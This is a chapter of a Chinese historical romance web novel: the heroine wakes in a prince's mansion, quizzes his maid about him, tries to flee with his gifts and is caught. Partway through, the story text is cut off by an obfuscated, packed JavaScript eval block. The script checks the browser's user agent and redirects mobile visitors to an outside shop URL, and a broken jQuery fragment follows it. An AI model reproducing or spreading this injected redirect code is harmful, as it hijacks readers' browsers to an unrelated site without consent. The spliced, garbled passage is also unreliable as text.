11. 第 11 章
    阮想喝完药之后足足躺睡了半日,直到府内丫鬟过来请用晚膳才迷迷糊糊睁开眼。

    “头好痛。”她拍了拍脑门轻轻晃,望一圈周围,是城南王府。

    翻开棉衾,疲软地伸展细嫩的双腿,一阵热气从里面氤氲开来,窗外流淌的皎洁月色爬上刚刚点好的烛灯,亮堂一片,惺忪双眸转了转,她才知晓已是暮色黑夜。

    “我竟是昏睡到如今。”她揉了揉眉额,细碎的绒毛不经梳理也很是好看,拨到耳边,慵懒可人,竟没想睡得如此舒心坦然,适才被抛弃的哀怜也少了些许,等想通男人不过是镜花水月,倒也不至于再为崔裴暗自神伤。

    “这是何气味,闻着好生奇特。”她看着金铜镂空香炉,鼻子深深一吸,问道。

    绿楚的端着煮好的汤药放到桌前,看着小娘子透红的双颊,总算是睡得安稳,吹灭了安神香,笑着道,“这是府君昨日托人从西域行商手里买下的安神香,今日一到便嘱咐小的点上,说是要娘子好好睡上一觉。”

    绿楚是府中的下人,建府之后便跟随在旁,也算得上是老人了。

    阮厢一听霎时红了脸,又恼又恨,可脑中竟是不自回想起了那天夜里,那庞大有劲的胸膛就像块巨岩,压得她气难喘,她才知晓男子体肤竟是比火焰还要滚烫。

    真真是不堪回首!

    李郢湛是何秉性她全然不知,定是鬼怪作祟才一时糊涂,不行,之前在柴房就敢如此行径,不知往后住进他府内会是怎样强迫占有,她得离开这里。

    可眼下举目无亲,偌大的长安城她该投生何处,崔裴是万万不能再相信,阿玥那小蹄子也不来寻,若是再被那老嬷嬷和毒妇抓住,定是要卖入青楼为娼,该怎么办?

    阮厢思忖,崔裴的仇是必须报,城南王府也不能再呆下去,为今之计只有先找到阿玥,她鬼点子多,定是能帮助自己。

    转头再一问,“你家府君不在?”

    绿楚看着小娘子一起来便就吵着见府君,真真是半刻都不得分离,捂着嘴笑了起来,“府君还未回来,这会儿该是在路中了,小娘子可是想等府君一并用膳?”

    用膳?我宁愿饿死!

    “那太好了。”阮厢双眸流转生光,肚子也咕咕叫了起来,得在逃走之前饱餐一顿,李郢湛不在那正合她心意。

    “我一个卑微小娘子,实在不便与你家郎君一起用食。”边说着边下榻,穿好备好的衣物,是件垂地绣着月季的黄白纱裙,走起来舒软飘逸,质地许是上乘,再一想过往,崔裴还从未送过她如此昂贵的着装……

    愁到嗓底,又生生给压了下去,“对了,膳房做了什么好吃的?”

    绿楚替她梳妆打扮,头饰耳饰也是府君精心挑选,不比宫里的娘娘差,艳羡道,“小娘子真是好福气,那膳房做的都是长安城里人人钟爱的吃食,小娘子血气煞白,府君看着心疼,好大一早便遣人到西市采购,都赶上最新鲜的,有水晶龙凤糕、生鱼片、糖螃蟹、蒸麝麝、皮索饼、花折鹅糕……”

    阮厢生咽一口,绿楚说的菜品她甚至连名儿都未曾听过,但人人都爱吃,许是顶顶美食,都将要离开这鬼地方了,不妨先好好品尝一下这富贵人家的口味。

    “那我们快些去。”她催着。

    “不急,我先替小娘子梳妆打扮一番,小娘子生得如此好看,也得配得上最昂贵的品饰。”

    绿楚从晶莹剔透的匣子中取出一条由透亮紫水晶和绿松石镶嵌而成的金坠饰,看起来雍容华贵,“小娘子面容姣好,配上此颈饰真真如一朵开得娇艳的凤凰花,要是说长安城里谁最懂女子心思,我家府君可是第一人。”

    阮厢瞧着确是奢华之物,没想到李郢湛对她如此大方,物物最好,说起来也不过是萍水相逢,此人心思难测,断不能被这些外在之物蒙蔽双目。

    她左右看着镜中的自己出了神,与在林中茅屋根本二人,再想起来风言风语,问道,“他对所有女子都这般体贴?”

    “那当然不是,人人都说府君多情又是最无情,与那些女子交好却从不给名分,夜夜笙歌不归家,合着不过是个名声臭响臭响的浪荡子。”绿楚满腔正义说道,“其实他们都不懂府君。”

    再看着镜中的女子,虽不明白她从哪里来,府君为何对她格外看重,却也知道与外面的赶着上架的花花草草不同。

    “绿楚就从未见过府君对谁家娘子如此上心,您还是头一位。”把乌黑的秀发一缕一缕疏上去,再搭配各种头饰,原本的娇弱瞬间变得妩媚,大方端庄。

    阮厢当然是不会再相信世界上会有什么好男人,对绿出一番激烈言辞也当作笑谈,她并不像了解李郢湛,也懒得听他到底是什么人,不过是生得无聊。

    “你家府君在大明宫当差,可知是什么身份,有没有从事什么不法勾当,例如专门诱骗少女?”

    “娘子怎得问这个?”绿楚警惕起来,手里的梳洗动作缓了半刻。阮厢的心也提了上来,许是问了什么不该问的。

    “我……”她正想解释,被绿楚夺了话。

    “府君可是长安城里的大人物,小娘子别看府内没什么装潢,下人,但府君是亲王的身份可是无人敢质疑,堂堂正正!”绿楚不快,白眼盯着阮厢,还硬生生拉扯了一把打结的头发,害得阮厢吃痛一叫。

    “你干嘛,我不过是提了一嘴。”

    绿楚干脆作罢,生气坐到一旁,薄怒道,“我以为你与她人不同,可怜府君如此待你,竟是带回来个没心没肺的野狐狸,你可知昨夜里郎君不眠不休守了你一晚,吃喝用度物物最好,事事亲力亲为,今儿到皇城去,也是去帮小娘子寻的差事。”

    “现在倒好,小娘子还如那市井毒妇一般嘴碎,绿楚真替府君不值!”

    这……

    她不过是问问而已,又没说什么过分之话,看来这长安城还真是处处都得谨小慎微,人在屋檐下,不得不低头,也惊奇那浪荡子竟是还有如此护主忠仆,为虎作伥,可不是什么好奴才。

    另外才知李郢湛身份确实不凡,可是府邸看着未配其名,个中细藏定有什么不可告人的秘密,看来也不是什么厉害的大人物,说是要帮自己进大明宫,谁知道背后使什么坏主意。

    阮厢见把人惹怒,语气便柔和些说道,“我与你府君相识不久,他未曾与我说过,阮厢不过是落魄之人,哪来的福气叫城南王如此厚爱,便也多思,想厘清其中罢了。”

    这才把

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032474|148835||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    绿楚说了气顺,起来继续替她梳妆,叹气道,“说起来府君也怪是可怜,我与娘子说您可别告诉其他人,府君不喜听到。”

    这一听那浪荡子还是个可怜人,阮厢顿时精神十足,反正现在也不知到哪儿去寻阿玥,便就当一桩趣事听听罢。

    “府君自小没了娘亲,也是这几年才到长安城寻祖,说到底也是流落在外多年的孤儿,于他阿耶,也是当今圣上并无多大感情,其他大臣手足也是低看一眼,做不了天子近臣,只得领个挂名的城南王,官小钱少,人人都能欺负到县丞头上来。”绿出一生怒,又是扯痛了一把她头发。

    “府君难得对一个人这么好,小娘子以后就不要再说那些话了,我相信府君今后定是不会再花天酒地。”

    绿楚服侍人的手法可比阿玥差多了,难怪城南王府没几个下人,许是穷的,“再让你糊弄我头发,都要扯完了,你坐下继续说,我自己来。”

    差不多说了一炷香的时刻,绿楚才将府君的经历全部说完,末了竟是落了几滴眼泪,像是在哀求阮厢一定要真心待府君,“小娘子往后定是要与府君好好相携。”

    即将要逃走之人,怎么敢轻易许诺,纵使李郢湛身世可怜,但可怜之人必有可恨之处,就前晚那档子事,她忘不了。

    “你先起来。”阮厢拉着绿楚的手喊她起来,“我与他萍水相逢,世间匆匆过客罢了,你莫要把他的今后与我扯在一起,你既是他舍命救回来的,便自己照顾他,别求我。”

    “再说了,我,留不留下来还是一回事。”她看起来冷漠无情,但此事总归要说明白。

    绿楚这会儿倒是明白事理,心里像是早已把她当作府中的夫人,处处体贴,“我与祁商也经常闹脾气,可不还是一样将就着,府君待娘子如何,明眼人一眼便看出来,女子家家总归是要娇气些,绿楚也懂。”

    懂?你懂什么,他们不过才相识一天,怎么就把话说绝了。

    阮厢看到绿楚这样糊涂脑子,这才明白自己当初被阿玥指着骂该是多么值当,崔裴不是好人,那花天酒地的浪荡子也不是什么好人。

    “你不要再把我和他牵上什么不该有的关系。”最后她都快忍不住要骂人。

    可傻气绿楚根本不懂其中,频还频点头,一副开心样儿。

    这会儿外门有声响,绿楚蹦跶起来,跑出去,“娘子快些来,许是府君终于回来了。”

    适才还掉眼泪呢,难不成那丫头专门等着李郢湛回来?

    坏了,人一回来,她还怎么走?

    说完连忙收拾行李,把李郢湛送的金银珠饰一通裹走,前脚刚踏出,脑门就撞上了什么庞然大物。

    “这么匆忙,去哪儿呢?”李郢湛被太子阻了不少时间,他知道阮厢定然待不住,于是便叫绿楚形影不离跟着。

    得亏撞上的不是什么坚硬之物,但也厚实,“你,我,你管我去哪里。”绕过身侧继续走,包袱里的东西金银饰物砰砰碎响。

    李郢湛往她挂在后脑勺的布带子扯过,因受力不均,阮厢一下子踉踉跄跄跌倒下去,轰的一声作响,头正砸在他的靴子上,面前之人还一脸冷漠,居高打量,似有作弄顽笑,“卷了什么东西就想逃?”